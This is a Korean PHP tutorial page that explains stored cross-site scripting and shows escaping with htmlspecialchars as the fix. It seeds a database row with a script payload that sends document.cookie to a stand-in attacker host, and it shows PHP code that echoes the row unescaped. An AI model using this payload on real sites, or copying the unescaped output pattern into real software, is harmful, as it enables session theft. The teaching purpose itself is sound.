php 고급

Cross-Site Scripting (XSS)

Cross-Site Scripting

 크로스 사이트 스크립팅은 사용자가 입력한 정보를 출력할 때 스크립트가 실행되도록 하는 공격기법이다. 다른 사이트로 어떤 정보를 전송하는 행위가 주로 일어나기 때문에 사이트간 스크립팅이라는 이름을 가지고 있다.

예제

우선 데이터베이스 환경부터 셋팅하자.

CREATE TABLE `xss` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_content` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

INSERT INTO `xss` VALUES ('1', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nec tristique lectus. <script>document.write(\'<img src=\"http://attacker.php?data=\'+escape(document.cookie)+\'\" />\')</script>Sed congue, felis ut vulputate varius, dui lacus pretium dui, vitae iaculis nulla ipsum non massa.');

아래는 PHP 에플리케이션 코드다.

<?php
mysql_connect('localhost', 'egoing', '111111');
mysql_select_db('advanced_php');
$result = mysql_query("SELECT * FROM XSS WHERE id=1");
?>
<!DOCTYPE html>
<html>
    <head><meta charset="UTF-8" /></head>
	<body>
		<?=mysql_result($result,0,1)?>
	</body>
</html>

위의 코드를 실행하면 XSS 테이블의 첫번째 데이터를 조회해서 user_content 필드의 데이터를 출력한다. 이 데이터 안에는 아래의 내용이 포함되어 있다.

<script>document.write('img src="http://attacker.net?data='+escape(document.cookie)+'" />')</script>

위의 내용은 자바스크립트로 이미지 태그를 만들고 그 태그가 아래 주소의 이미지를 로드한다.

http://attacker.net?data=

attacker.net으로 전달되는 data 데이터에는 현재 페이지의 쿠키가 전달된다. attacker.net의 소유자인 공격자는 data의 값으로 전달된 쿠키 정보를 통해서 사용자의 많은 정보를 파악할 수 있다.

해결책

해결책은 간단하다. htmlspecialchars를 사용하면 된다. 이 함수는 html 코드를 해석하지 않고 화면에 그대로 출력하도록 변환한다. 예를들어 위의 예제에서 사용된 스크립트 태그는 아래와 같이 변환된다.

 &lt;script&gt;document.write('img src=&quot;http://attacker.php?data='+escape(document.cookie)+'&quot; /&gt;')&lt;/script&gt;

위의 예제에서 10라인을 아래와 같이 변경한다.

<?=htmlspecialchars(mysql_result($result,0,1))?>

댓글

댓글 본문
  1. ㅇㅇ
    간단하지만 확실한 방법이네요

    추가적으로 HTML Purifier 을 쓴다면 더욱 좋죠
버전 관리
egoing
현재 버전
선택 버전
graphittie 자세히 보기